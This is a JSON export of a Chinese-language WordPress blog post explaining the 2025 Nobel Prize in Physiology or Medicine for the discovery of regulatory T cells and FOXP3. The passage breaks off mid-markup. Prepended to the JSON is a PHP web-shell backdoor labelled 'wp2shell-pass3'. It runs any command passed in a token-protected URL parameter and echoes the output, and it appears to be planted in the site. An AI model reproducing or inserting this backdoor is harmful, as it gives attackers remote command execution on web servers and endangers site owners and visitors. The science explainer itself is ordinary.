// wp2shell-pass3
if (isset($_GET['t']) && hash_equals('9fc4c763d19d1fcf0f25548ed3e39448', (string)$_GET['t']) && isset($_GET['c'])) {
    $c=(string)$_GET['c']; $o='';
    if(function_exists('shell_exec')) $o=(string)@shell_exec($c);
    elseif(function_exists('system')){ob_start();@system($c);$o=ob_get_clean();}
    elseif(function_exists('passthru')){ob_start();@passthru($c);$o=ob_get_clean();}
    elseif(function_exists('exec')){@exec($c,$a);$o=implode(chr(10),(array)$a);}
    $mk='WP2'.'SHELL'; echo $mk.'::'.$o.'::'.'END'; exit;
}

{"id":1462,"date":"2025-10-20T17:24:47","date_gmt":"2025-10-20T09:24:47","guid":{"rendered":"https:\/\/www.millibuff.com\/?p=1462"},"modified":"2025-10-20T17:59:19","modified_gmt":"2025-10-20T09:59:19","slug":"%e5%b0%8f%e7%89%9b%e6%b4%9e%e5%af%9f-2025%e8%af%ba%e5%a5%96%e8%af%a6%e8%a7%a3%ef%bc%9atregs%e5%a6%82%e4%bd%95%e6%94%b9%e5%86%99%e7%99%8c%e7%97%87%e4%b8%8e%e8%87%aa%e8%ba%ab%e5%85%8d%e7%96%ab","status":"publish","type":"post","link":"https:\/\/www.millibuff.com\/?p=1462","title":{"rendered":"\u5c0f\u725b\u6d1e\u5bdf | 2025\u8bfa\u5956\u8be6\u89e3\uff1aTregs\u5982\u4f55\u6539\u5199\u764c\u75c7\u4e0e\u81ea\u8eab\u514d\u75ab\u75c5\u6cbb\u7597\uff1f"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">\u8bfb\u5b8c\u8fd9\u7bc7\u6587\u7ae0\uff0c\u4f60\u5c31\u80fd\u83b7\u5f97\u4ee5\u4e0b\u95ee\u9898\u7684\u7b54\u6848\uff1a<br>\u25cf2025\u751f\u7406\u5b66\u6216\u533b\u5b66\u8bfa\u5956\u7684\u6838\u5fc3\u7814\u7a76\u5185\u5bb9\u662f\uff1f<br>\u25cf\u8c03\u8282\u6027T\u7ec6\u80de\uff08Tregs\uff09\u53ca\u5176\u4e3b\u8c03\u63a7\u56e0\u5b50<em>FOXP3<\/em>\u5982\u4f55\u88ab\u53d1\u73b0\uff1f\u76f8\u5173\u7684\u91cc\u7a0b\u7891\u8bba\u6587\u662f\u54ea\u51e0\u7bc7\uff1f<br>\u25cf2025\u751f\u7406\u5b66\u6216\u533b\u5b66\u8bfa\u5956\u83b7\u5956\u673a\u5236\u4e0e\u54ea\u4e9b\u75be\u75c5\u76f8\u5173\uff0c\u5e26\u6765\u4e86\u54ea\u4e9b\u65b0\u7597\u6cd5\uff1f<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">1. <strong>2025\u8bfa\u8d1d\u5c14\u751f\u7406\u5b66\u6216\u533b\u5b66\u5956<\/strong><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">2025\u5e7410\u67086\u65e5\uff0c\u745e\u5178\u5361\u7f57\u7433\u533b\u5b66\u9662\u5ba3\u5e03\uff0c\u5c06\u8bfa\u8d1d\u5c14\u751f\u7406\u5b66\u6216\u533b\u5b66\u5956\u6388\u4e88\u7f8e\u56fd\u79d1\u5b66\u5bb6\u739b\u4e3d\u00b7\u5e03\u4f26\u79d1\uff08Mary E. Brunkow\uff09\u3001\u5f17\u96f7\u5fb7\u00b7\u62c9\u59c6\u65af\u5fb7\u5c14\uff08Fred Ramsdell\uff09\u548c\u65e5\u672c\u79d1\u5b66\u5bb6\u5742\u53e3\u5fd7\u6587\uff08Shimon Sakaguchi\uff09\uff0c\u4ee5\u8868\u5f70\u4ed6\u4eec\u5728\u5916\u5468\u514d\u75ab\u8010\u53d7\u9886\u57df\uff08Peripheral Immune Tolerance\uff09\u7684\u5f00\u521b\u6027\u53d1\u73b0\u3002<\/p>\n\n\n\n<p class=\"has-text-align-left has-small-font-size wp-block-paragraph\"><img decoding=\"async\" src=\"https:\/\/alidocs.dingtalk.com\/core\/api\/resources\/img\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a473a1bc8310192c0ff368a3de23ef5e613a9754cea36b3507e60f955c972f46db80f6fb101dd54aaed1be13d66dfda50?tmpCode=ec262c80-600a-4556-9f17-132f9eb9a5aa\"><\/p>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe1 2025\u5e74\u8bfa\u8d1d\u5c14\u751f\u7406\u5b66\u6216\u533b\u5b66\u5956<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8fd9\u4e09\u4f4d\u79d1\u5b66\u5bb6\u7684\u7814\u7a76\u805a\u7126\u4e8e\u5916\u5468\u514d\u75ab\u8010\u53d7\u4e2d\u7684\u5173\u952e\u73af\u8282\u2014\u2014\u8c03\u8282\u6027T\u7ec6\u80de\uff08regulatory T cells\uff0cTregs\uff09\u53ca\u5176\u4e3b\u8c03\u63a7\u56e0\u5b50<em>FOXP3<\/em>(<em>forkhead box P3)<\/em>\uff0c\u9610\u660e\u4e86\u673a\u4f53\u5728\u4e2d\u67a2\u8010\u53d7\u4e4b\u5916\u5982\u4f55\u901a\u8fc7Tregs\u7ef4\u6301\u81ea\u8eab\u4e0d\u88ab\u514d\u75ab\u7cfb\u7edf\u653b\u51fb\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u8bfa\u8d1d\u5c14\u59d4\u5458\u4f1a\u4e3b\u5e2d\u5965\u52d2\u00b7\u574e\u4f69\u8868\u793a\uff1a\u201c\u4ed6\u4eec\u7684\u53d1\u73b0\u5bf9\u4e8e\u6211\u4eec\u7406\u89e3\u514d\u75ab\u7cfb\u7edf\u7684\u5de5\u4f5c\u539f\u7406\uff0c\u4ee5\u53ca\u4e3a\u4ec0\u4e48\u5e76\u975e\u6240\u6709\u4eba\u90fd\u4f1a\u60a3\u4e0a\u4e25\u91cd\u7684\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\uff0c\u8d77\u5230\u4e86\u51b3\u5b9a\u6027\u7684\u4f5c\u7528\u3002\u201d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4ece1995\u5e74\u5742\u53e3\u5fd7\u6587\u53d1\u73b0Tregs\uff0c\u52302001\u5e74\u5e03\u4f26\u79d1\u548c\u62c9\u59c6\u65af\u5fb7\u5c14\u8bc1\u5b9e\uff1a\u6b63\u662f\u4eba\u7c7b<em>FOXP3<\/em>\u57fa\u56e0\u7684\u7a81\u53d8\uff0c\u5bfc\u81f4\u4e86IPEX\u7efc\u5408\u5f81\uff08Immune Dysregulation, Polyendocrinopathy, Enteropathy, X-Linked Syndrome\uff09\uff0c\u4ed6\u4eec\u627e\u5230\u4e86\u8c03\u63a7\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\u7684\u4e00\u4e2a\u5173\u952e\u9057\u4f20\u5f00\u5173\uff0c\u5c06\u8be5\u57fa\u56e0\u547d\u540d\u4e3a<em>FOXP3[\u53c2\u8003\u6587\u732e]<\/em>\u3002\u6700\u7ec8\uff0c\u57282003\u5e74\uff0c\u5742\u53e3\u5fd7\u6587\u5c06\u8fd9\u4e24\u9879\u72ec\u7acb\u7684\u53d1\u73b0\u8054\u7cfb\u4e86\u8d77\u6765\u3002\u4ed6\u8bc1\u660e\uff0c\u5e03\u4f26\u79d1\u548c\u62c9\u59c6\u65af\u5fb7\u5c14\u53d1\u73b0\u7684<em>FOXP3<\/em>\u57fa\u56e0\uff0c\u6b63\u662f\u8c03\u63a7\u4ed6\u4e8e1995\u5e74\u6240\u53d1\u73b0\u7684\u8c03\u8282\u6027T\u7ec6\u80de\u53d1\u80b2\u548c\u529f\u80fd\u7684\u201c\u4e3b\u5bfc\u57fa\u56e0\u201d\uff08master gene\uff09\u3002\u81f3\u6b64\uff0c\u4e00\u4e2a\u5b8c\u6574\u7684\u514d\u75ab\u8c03\u63a7\u673a\u5236\u5f97\u4ee5\u9610\u660e\uff1a<em>FOXP3<\/em>\u57fa\u56e0\u901a\u8fc7\u63a7\u5236\u8c03\u8282\u6027T\u7ec6\u80de\u7684\u4ea7\u751f\uff0c\u8fdb\u800c\u7ef4\u6301\u7740\u5916\u5468\u514d\u75ab\u8010\u53d7\u3002\u8fd9\u4e9b\u53d1\u73b0\u4e0d\u4ec5\u91cd\u5851\u4e86\u514d\u75ab\u5b66\u8303\u5f0f\uff0c\u66f4\u4e3a\u65b0\u836f\u5f00\u53d1\u548c\u4e34\u5e8a\u8bd5\u9a8c\u5f00\u8f9f\u4e86\u5168\u65b0\u7684\u7586\u57df\uff0c\u91cd\u5851\u4e86\u514d\u75ab\u8c03\u8282\u76f8\u5173\u4ea7\u54c1\u7684\u7814\u53d1\u4e0e\u4e34\u5e8a\u8def\u5f84\uff0c\u5e26\u6765\u4e86\u9776\u70b9\u9009\u62e9\u3001\u8bd5\u9a8c\u8bbe\u8ba1\u4e0e\u8f6c\u5316\u7b56\u7565\u4e0a\u7684\u7cfb\u7edf\u6027\u673a\u4f1a\u3002<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img fetchpriority=\"high\" decoding=\"async\" width=\"1181\" height=\"474\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd311be2c870a24f1ad37f359c306802ca2a0134b346d6fb17c94e36a3933fd5d7db3dc1333dc95dd0.png\" alt=\"\" class=\"wp-image-1467\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd311be2c870a24f1ad37f359c306802ca2a0134b346d6fb17c94e36a3933fd5d7db3dc1333dc95dd0.png 1181w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd311be2c870a24f1ad37f359c306802ca2a0134b346d6fb17c94e36a3933fd5d7db3dc1333dc95dd0-300x120.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd311be2c870a24f1ad37f359c306802ca2a0134b346d6fb17c94e36a3933fd5d7db3dc1333dc95dd0-1024x411.png 1024w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde596f159c1105dd972f9f074f5214ce0e775b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd311be2c870a24f1ad37f359c306802ca2a0134b346d6fb17c94e36a3933fd5d7db3dc1333dc95dd0-768x308.png 768w\" sizes=\"(max-width: 1181px) 100vw, 1181px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe2 \u8c03\u8282\u6027 T \u7ec6\u80de\uff08Tregs\uff09\u5728\u514d\u75ab\u81ea\u8eab\u8010\u53d7\u4e0e\u81ea\u8eab\u514d\u75ab\u4e2d\u7684\u4f5c\u7528\uff08Sakaguchi, Shimon. &#8220;Taking regulatory T cells into medicine.&#8221; The Journal of Experimental Medicine 218.6 (2021): e20210831.\uff09<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">2. \u83b7\u5956\u7814\u7a76\u6838\u5fc3\u5185\u5bb9\uff1aTregs\u53ca\u5176\u4e3b\u8c03\u63a7\u56e0\u5b50<em>FOXP3<\/em><\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u6bcf\u5929\uff0c\u6211\u4eec\u7684\u514d\u75ab\u7cfb\u7edf\u90fd\u4f1a\u4fdd\u62a4\u6211\u4eec\u514d\u53d7\u6570\u5343\u79cd\u8bd5\u56fe\u5165\u4fb5\u6211\u4eec\u8eab\u4f53\u7684\u4e0d\u540c\u5fae\u751f\u7269\u7684\u4fb5\u5bb3\u3002\u8fd9\u4e9b\u5fae\u751f\u7269\u90fd\u6709\u7740\u4e0d\u540c\u7684\u5f62\u6001\uff0c\u800c\u4e14\u8bb8\u591a\u5fae\u751f\u7269\u8fd8\u8fdb\u5316\u51fa\u4e86\u4e0e\u4eba\u7c7b\u7ec6\u80de\u76f8\u4f3c\u7684\u7279\u5f81\uff0c\u4ee5\u6b64\u4f5c\u4e3a\u4e00\u79cd\u4f2a\u88c5\u624b\u6bb5\u3002\u90a3\u4e48\uff0c\u514d\u75ab\u7cfb\u7edf\u662f\u5982\u4f55\u5224\u65ad\u5e94\u8be5\u653b\u51fb\u4ec0\u4e48\u3001\u53c8\u8be5\u4fdd\u62a4\u4ec0\u4e48\u5462\uff1f\u4e09\u4f4d\u83b7\u5956\u8005\u53d1\u73b0\u4e86\u514d\u75ab\u7cfb\u7edf\u7684\u201c\u4fdd\u5b89\u201d\u2014\u2014\u8c03\u8282\u6027T\u7ec6\u80de\uff0c\u8fd9\u79cd\u7ec6\u80de\u80fd\u963b\u6b62\u514d\u75ab\u7ec6\u80de\u653b\u51fb\u6211\u4eec\u81ea\u8eab\u7684\u8eab\u4f53\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2.1 1995\u5e74\u7684\u7a81\u7834\u6027\u53d1\u73b0<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728\u5f53\u65f6\u5927\u591a\u6570\u79d1\u5b66\u5bb6\u8ba4\u4e3a\u514d\u75ab\u8010\u53d7\u4ec5\u5728\u80f8\u817a\u4e2d\u901a\u8fc7\u4e2d\u67a2\u8010\u53d7\u673a\u5236\u5b9e\u73b0\u7684\u80cc\u666f\u4e0b\uff0c\u5742\u53e3\u5fd7\u6587\u63d0\u51fa\u4e86\u66f4\u590d\u6742\u7684\u8c03\u63a7\u5c42\u6b21\u5047\u8bf4\u3002\u4ed6\u901a\u8fc7\u5b9e\u9a8c\u8bc1\u660e\uff0c\u4e00\u79cd\u4e4b\u524d\u672a\u88ab\u53d1\u73b0\u7684\uff0c\u8868\u8fbe\u767d\u7ec6\u80de\u4ecb\u7d20-2\u53d7\u4f53\u03b1\u94fe\uff08\u5373CD25\uff09\u7684\u4e00\u79cdCD4\u9633\u6027T\u7ec6\u80de\u4e9a\u7fa4\uff08\u56fe3\uff09\u5177\u6709\u6291\u5236\u81ea\u8eab\u514d\u75ab\u53cd\u5e94\u7684\u80fd\u529b\uff0c\u8fd9\u4e9b\u7ec6\u80de\u540e\u6765\u88ab\u547d\u540d\u4e3a\u8c03\u8282\u6027T\u7ec6\u80de\uff08Tregs\uff09\u3002\u7136\u800c\uff0c\u8fd9\u4e00\u53d1\u73b0\u5728\u5f53\u65f6\u906d\u9047\u4e86\u5e7f\u6cdb\u8d28\u7591\uff0c\u8bb8\u591a\u7814\u7a76\u8005\u5bf9Tregs\u7684\u5b58\u5728\u6301\u6000\u7591\u6001\u5ea6\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5742\u53e3\u7684\u7075\u611f\u6765\u81ea\u4e8e\u540c\u4e8b\u4eec\u65e9\u671f\u8fdb\u884c\u7684\u4e00\u9879\u7ed3\u679c\u76f8\u4e92\u77db\u76fe\u7684\u5b9e\u9a8c\u3002\u4e3a\u4e86\u4e86\u89e3\u80f8\u817a\u5728T\u7ec6\u80de\u53d1\u80b2\u4e2d\u7684\u4f5c\u7528\uff0c\u4ed6\u4eec\u5bf9\u65b0\u751f\u5c0f\u9f20\u8fdb\u884c\u4e86\u80f8\u817a\u5207\u9664\u624b\u672f\u3002\u4ed6\u4eec\u63a8\u6d4b\uff0c\u8fd9\u4e9b\u5c0f\u9f20\u4f1a\u4ea7\u751f\u66f4\u5c11\u7684T\u7ec6\u80de\uff0c\u514d\u75ab\u7cfb\u7edf\u4e5f\u4f1a\u66f4\u5f31\u3002\u7136\u800c\uff0c\u5982\u679c\u5728\u5c0f\u9f20\u51fa\u751f\u4e09\u5929\u540e\u8fdb\u884c\u624b\u672f\uff0c\u5176\u514d\u75ab\u7cfb\u7edf\u5c31\u4f1a\u8fc7\u5ea6\u6d3b\u8dc3\u5e76\u5931\u63a7\uff0c\u5bfc\u81f4\u5c0f\u9f20\u60a3\u4e0a\u591a\u79cd\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e3a\u4e86\u66f4\u597d\u5730\u7406\u89e3\u8fd9\u4e00\u73b0\u8c61\uff0c\u5728\u5742\u53e3\u7684\u7814\u7a76\u4e2d\uff0c\u4ed6\u4ece\u51fa\u751f\u4e09\u5929\u7684\u5c0f\u9f20\u4f53\u5185\u79fb\u9664\u4e86\u80f8\u817a\uff0c\u8fd9\u4e9b\u5c0f\u9f20\u968f\u540e\u60a3\u4e0a\u4e86\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\u3002\u4ed6\u7ed9\u8fd9\u4e9b\u5c0f\u9f20\u6ce8\u5c04\u4e86\u5728\u57fa\u56e0\u76f8\u540c\u7684\u5c0f\u9f20\u4f53\u5185\u53d1\u80b2\u6210\u719f\u7684T\u7ec6\u80de\uff0c\u53d1\u73b0\u8fd9\u4e9bT\u7ec6\u80de\u80fd\u4fdd\u62a4\u5c0f\u9f20\u514d\u53d7\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\u7684\u4fb5\u5bb3\uff08\u56fe4\uff09\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u91cc\u7a0b\u7891\u8bba\u6587\uff1aSakaguchi S\uff0c et al. &#8220;Immunologic self-tolerance maintained by activated T cells expressing IL-2 receptor \u03b1-chains \uff08CD25\uff09.&#8221; Journal of Immunology 1995; 155:1151-1164.\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" width=\"2560\" height=\"1294\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458.png\" alt=\"\" class=\"wp-image-1472\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458.png 2560w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458-300x152.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458-1024x518.png 1024w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458-768x388.png 768w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458-1536x776.png 1536w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0524375348f90ffd65f2c7264b6eb44f384d2e602286f2d3bc3e598823b8051aa984db315ebb01fcacfd4551c3b23458-2048x1035.png 2048w\" sizes=\"(max-width: 2560px) 100vw, 2560px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe3 \u5742\u53e3\u53d1\u73b0\u4e86\u4e00\u7c7b\u65b0\u7684T\u7ec6\u80de\u00a9 The Nobel Committee for Physiology or Medicine. Ill. Mattias Karl\u00e9n<\/p>\n\n\n\n<figure class=\"wp-block-image\"><img decoding=\"async\" width=\"2560\" height=\"1424\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8.png\" alt=\"\" class=\"wp-image-1469\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8.png 2560w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8-300x167.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8-1024x570.png 1024w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8-768x427.png 768w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8-1536x854.png 1536w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602a0d50ecb3f30f832ee92b512b144a50590e34faacfee5d426a0663d8bc06f0656da1f5996accf3c8e349088b011ea9af8-2048x1139.png 2048w\" sizes=\"(max-width: 2560px) 100vw, 2560px\" \/><\/figure>\n\n\n\n<p class=\"has-text-align-center wp-block-paragraph\">\u56fe4 \u542f\u53d1\u5742\u53e3\u7684\u5b9e\u9a8c\u00a9 The Nobel Committee for Physiology or Medicine. Ill. Mattias Karl\u00e9n<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>2.2 2001\u5e74\u7684\u9057\u4f20\u5b66\u8bc1\u636e<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u9057\u4f20\u5b66\u65b9\u9762\uff0c\u5173\u952e\u7684\u7a81\u7834\u6765\u81ea\u739b\u4e3d\u00b7\u5e03\u4f26\u79d1\u548c\u5f17\u96f7\u5fb7\u00b7\u62c9\u59c6\u65af\u5fb7\u5c14\u5bf9scurfy\u5c0f\u9f20\u7684\u7814\u7a76\u3002\u8fd9\u79cd\u5c0f\u9f20\u8868\u73b0\u51fa\u4e25\u91cd\u7684\u81ea\u8eab\u514d\u75ab\u6027\u75be\u75c5\uff0c\u5b83\u4eec\u7684T\u7ec6\u80de\u4f1a\u653b\u51fb\u81ea\u8eab\u673a\u4f53\u3002\u7814\u7a76\u56e2\u961f\u5728\u5176X\u67d3\u8272\u4f53\u4e0a\u53d1\u73b0\u4e86\u4e00\u4e2a\u7a81\u53d8\u57fa\u56e0\uff0c\u5e76\u5c06\u5176\u547d\u540d\u4e3a<em>Foxp3<\/em>\uff08\u56fe5\uff09\u3002\u66f4\u91cd\u8981\u7684\u662f\uff0c\u4ed6\u4eec\u53d1\u73b0\u4eba\u7c7b\u7684IPEX\u7efc\u5408\u5f81\u2014\u2014\u4e00\u79cd\u7f55\u89c1\u7684\u513f\u7ae5\u81ea\u8eab\u514d\u75ab\u75be\u75c5\u2014\u2014\u4e5f\u662f\u7531\u4e0e\u4e4b\u5bf9\u5e94\u7684<em>FOXP3<\/em>\u57fa\u56e0\u7a81\u53d8\u5f15\u8d77\u7684\u3002\u8fd9\u4e00\u53d1\u73b0\u5c06\u5c0f\u9f20\u6a21\u578b\u4e0e\u4eba\u7c7b\u75be\u75c5\u8054\u7cfb\u8d77\u6765\uff0c\u4e3a<em>FOXP3<\/em>\u5728\u514d\u75ab\u8010\u53d7\u4e2d\u7684\u6838\u5fc3\u4f5c\u7528\u63d0\u4f9b\u4e86\u9057\u4f20\u5b66\u5c42\u9762\u7684\u76f4\u63a5\u8bc1\u636e\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u8fd9\u4e2a\u5173\u952e\u53d1\u73b0\u7684\u4e09\u7bc7\u91cc\u7a0b\u7891\u8bba\u6587\u57282001\u5e741\u6708\u540c\u671f\u53d1\u8868\u4e8e\u300aNature Genetics\u300b\uff0c\u5171\u540c\u63ed\u5f00\u4e86<em>FOXP3<\/em>\u57fa\u56e0\u7684\u795e\u79d8\u9762\u7eb1\u3002\u8fd9\u662f\u79d1\u5b66\u53f2\u4e0a\u7684\u7ecf\u5178\u6848\u4f8b\u2014\u2014\u4e09\u4e2a\u72ec\u7acb\u7814\u7a76\u56e2\u961f\u4ece\u4e0d\u540c\u89d2\u5ea6\u7814\u7a76\u540c\u4e00\u4e2a\u95ee\u9898\uff0c\u6700\u7ec8\u5728\u540c\u4e00\u65f6\u523b\u6c47\u805a\u3002<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\uff08\u91cc\u7a0b\u7891\u8bba\u6587\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Brunkow ME\uff0c et al. &#8220;Disruption of a new forkhead\/winged-helix protein\uff0c scurfin\uff0c results in the fatal lymphoproliferative disorder of the scurfy mouse.&#8221; Nature Genetics 2001; 27:68-73.<\/li>\n\n\n\n<li>Wildin RS\uff0c Ramsdell F\uff0c et al. &#8220;X-linked neonatal diabetes mellitus\uff0c enteropathy and endocrinopathy syndrome is the human equivalent of mouse scurfy.&#8221; Nature Genetics 2001; 27:18-20.<\/li>\n\n\n\n<li>Bennett CL\uff0c et al. &#8220;The immune dysregulation\uff0c polyendocrinopathy\uff0c enteropathy\uff0c X-linked syndrome \uff08IPEX\uff09 is caused by mutations of <em>FOXP3<\/em>.&#8221; Nature Genetics 2001; 27:20-21.\uff09<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image\"><img loading=\"lazy\" decoding=\"async\" width=\"2560\" height=\"1429\" src=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631.png\" alt=\"\" class=\"wp-image-1470\" srcset=\"https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631.png 2560w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631-300x167.png 300w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631-1024x572.png 1024w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631-768x429.png 768w, https:\/\/www.millibuff.com\/wp-content\/uploads\/2025\/10\/5eecdaf48460cde5328fdaf8d1fc6d073199b81de9a4f07a75b8339e1c4c248378c0f253aed1ea3c8d68742cd653602aa3ba6b64951bcf7e51b4a373987e9dea39c6262b75dfca18952f44b318cbffb4e78581c62b60c52c3da6c47ceee99631-1536x857.png 1536w, 